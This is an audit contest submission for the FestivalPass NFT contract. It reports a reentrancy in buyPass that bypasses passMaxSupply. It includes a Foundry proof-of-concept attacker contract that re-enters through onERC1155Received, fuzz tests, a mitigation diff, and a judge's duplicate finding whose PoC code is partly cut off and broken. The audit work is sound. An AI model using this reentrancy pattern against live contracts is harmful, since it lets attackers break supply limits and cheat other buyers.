Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

ERC1155 receiver reentrancy in `FestivalPass.buyPass` bypasses `passMaxSupply` cap

Root + Impact

Description

  • Expected behavior: configured maxSupply is the maximum number of passes that can be sold (src/Interfaces/IFestivalPass.sol:99-106).

  • Actual behavior: a contract buyer can re-enter buyPass during ERC1155 onERC1155Received and mint more passes than passMaxSupply allows, breaking the supply cap invariant and denying later buyers the intended capped sale.

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // @audit reads passSupply before mint
_mint(msg.sender, collectionId, 1, ""); // @audit external callback via ERC1155 receiver acceptance check
++passSupply[collectionId]; // @audit effect after interaction => reentrancy can bypass maxSupply
}
Root-cause references:
- `src/FestivalPass.sol:69-85` (`buyPass` order of operations)
- OpenZeppelin acceptance check makes `_mint` an external interaction for contract recipients:
- `_mint` calls `_updateWithAcceptanceCheck`: `lib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sol:309-315`
- Receiver hook is invoked via `ERC1155Utils.checkOnERC1155Received`: `lib/openzeppelin-contracts/contracts/token/ERC1155/utils/ERC1155Utils.sol:25-50`

Risk

Likelihood:

  • Any unprivileged attacker can purchase via a contract that implements onERC1155Received (no admin keys required).

  • ERC1155 _mint performs an acceptance callback for contract recipients (deterministic external call in OZ flow).

Impact:

  • Breaks the advertised/implemented cap (passSupply(passId) > passMaxSupply(passId)), allowing more passes to be minted than configured and potentially exhausting sales beyond intended limits.

Proof of Concept

Repro command (local/offline):

  • forge test -vvv --offline --use audit/tooling/solc/solc-0.8.25 --match-contract BuyPassReentrancyPoc

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test} from "forge-std/Test.sol";
import {FestivalPass} from "../../src/FestivalPass.sol";
import {BeatToken} from "../../src/BeatToken.sol";
contract BuyPassReentrancyReceiver {
FestivalPass internal immutable festivalPass;
uint256 internal immutable passId;
uint256 internal immutable price;
uint256 internal remaining;
bool internal inAttack;
constructor(FestivalPass _festivalPass, uint256 _passId, uint256 _price) {
festivalPass = _festivalPass;
passId = _passId;
price = _price;
}
function attack(uint256 times) external {
require(!inAttack, "already attacking");
require(times >= 1, "times=0");
remaining = times;
inAttack = true;
festivalPass.buyPass{value: price}(passId);
inAttack = false;
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns (bytes4) {
if (msg.sender == address(festivalPass) && inAttack) {
unchecked {
remaining--;
}
if (remaining > 0) {
festivalPass.buyPass{value: price}(passId);
}
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata)
external
pure
returns (bytes4)
{
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
// IERC1155Receiver (0x4e2312e0) + ERC165 (0x01ffc9a7)
return interfaceId == 0x4e2312e0 || interfaceId == 0x01ffc9a7;
}
}
contract BuyPassReentrancyPoc is Test {
FestivalPass internal festivalPass;
BeatToken internal beatToken;
address internal organizer;
uint256 internal constant GENERAL_PASS = 1;
uint256 internal constant GENERAL_PRICE = 1 ether;
function setUp() public {
organizer = makeAddr("organizer");
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.prank(organizer);
festivalPass.configurePass(GENERAL_PASS, GENERAL_PRICE, 1);
}
function test_ReentrancyBypassesPassMaxSupply() public {
BuyPassReentrancyReceiver attacker = new BuyPassReentrancyReceiver(festivalPass, GENERAL_PASS, GENERAL_PRICE);
vm.deal(address(attacker), GENERAL_PRICE * 2);
attacker.attack(2);
assertEq(festivalPass.passMaxSupply(GENERAL_PASS), 1);
assertEq(festivalPass.balanceOf(address(attacker), GENERAL_PASS), 2);
assertEq(festivalPass.passSupply(GENERAL_PASS), 2);
uint256 supply = festivalPass.passSupply(GENERAL_PASS);
uint256 maxSupply = festivalPass.passMaxSupply(GENERAL_PASS);
require(supply <= maxSupply, "INVARIANT_BROKEN: passSupply > passMaxSupply");
}
function testFuzz_ReentrancyCanExceedPassMaxSupply(uint8 times) public {
vm.assume(times >= 2);
vm.assume(times <= 8);
BuyPassReentrancyReceiver attacker = new BuyPassReentrancyReceiver(festivalPass, GENERAL_PASS, GENERAL_PRICE);
vm.deal(address(attacker), GENERAL_PRICE * uint256(times));
attacker.attack(times);
uint256 supply = festivalPass.passSupply(GENERAL_PASS);
uint256 maxSupply = festivalPass.passMaxSupply(GENERAL_PASS);
require(supply <= maxSupply, "INVARIANT_BROKEN: passSupply > passMaxSupply");
}
}

Recommended Mitigation

Reorder to checks-effects-interactions so the supply counter is updated before _mint (and/or add a nonReentrant guard):

function buyPass(uint256 collectionId) external payable {
...
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
- _mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
+ ++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!